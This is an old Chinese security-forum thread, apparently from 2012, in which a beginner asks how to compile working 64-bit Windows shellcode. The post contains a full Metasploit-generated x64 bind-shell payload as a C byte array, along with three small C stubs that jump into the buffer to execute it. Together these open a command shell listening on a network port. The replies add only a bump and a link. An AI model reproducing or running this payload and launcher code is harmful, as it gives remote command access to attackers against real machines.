首页
社区
课程
招聘
[旧帖] 64位shellcode编译 0.00雪花
发表于: 2012-3-10 13:05 7698

[旧帖] 64位shellcode编译 0.00雪花

2012-3-10 13:05
7698
我是新手,希望大家不要见笑。

测试平台:
OS1:Backtrack 5 [Linux]

OS2:Microsoft(R) Windows(R) Server 2003 Enterprise x64 Edition
        Visual C++ 6.0


关于64位shellcode编译,测试了多种编译方法,

例如:
[Linux]
mingw-w64
gcc-mingw32
64位的程序m.c可以编译成功,但是64位的shellcode编译后,无法运行。
将下面代码保存为m.c,然后编译
#include <windows.h>
int WinMain(HINSTANCE hInstance,HINSTANCE hPrevInstance,LPSTR lpCmdLine,int nCmdShow)
{
  char *msg="test it";
  MessageBox(NULL,msg,"Title",MB_OK);
  return 0;
}


amd64-mingw32msvc-gcc -mwindows /root/Desktop/m.c -o /root/Desktop/m.exe


下面是我用metasploit生成的一段64位的shellcode,代码如下:
/*
 * windows/x64/shell_bind_tcp - 505 bytes
 * http://www.metasploit.com
 * VERBOSE=false, LPORT=64, RHOST=, EXITFUNC=process, 
 * InitialAutoRunScript=, AutoRunScript=
 */

#include <windows.h>

unsigned char buf[] = 
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33"
"\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00"
"\x49\x89\xe5\x49\xbc\x02\x00\x00\x40\x00\x00\x00\x00\x41\x54"
"\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c"
"\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff"
"\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2"
"\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48"
"\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\xc2"
"\xdb\x37\x67\xff\xd5\x48\x31\xd2\x48\x89\xf9\x41\xba\xb7\xe9"
"\x38\xff\xff\xd5\x4d\x31\xc0\x48\x31\xd2\x48\x89\xf9\x41\xba"
"\x74\xec\x3b\xe1\xff\xd5\x48\x89\xf9\x48\x89\xc7\x41\xba\x75"
"\x6e\x4d\x61\xff\xd5\x48\x81\xc4\xa0\x02\x00\x00\x49\xb8\x63"
"\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57"
"\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44"
"\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6"
"\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5"
"\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff"
"\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48"
"\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13"
"\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";


请教各位看到的兄弟,编译一下,并在64位机器下测试是否可用,

我介绍一下,我见过的调用方法,如果有误,请大家指正.

int main(int argc, char **argv) {
        int*ret;
        ret = (int*)&ret + 2;
        (*ret) = (int) buf;
}

int main(int argc, char **argv) {
   int (*func)();
   func = (int (*)()) buf;
   (int)(*func)();
}

int main(int argc, char **argv) {
    ((void(*)(void))&buf)();
    return 0;
}

------------------------------------------------------------------------------------
请大家指教,如何才能编译出64位下,可正常使用的shellcode,不限windows平台编译,还是Linux平台编译

[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

收藏
免费 0
支持
分享
最新回复 (2)
雪    币: 156
活跃值: (190)
能力值: ( LV7,RANK:110 )
在线值:
发帖
回帖
粉丝
2
老陈贴啊,没人回啊,

看来自己还得蛋疼一阵子,
2012-3-31 22:57
0
雪    币: 673
活跃值: (278)
能力值: ( LV15,RANK:360 )
在线值:
发帖
回帖
粉丝
3
这是今天刚发的
http://bbs.pediy.com/showthread.php?t=155371
2012-8-31 23:25
0
游客
登录 | 注册 方可回帖
返回
//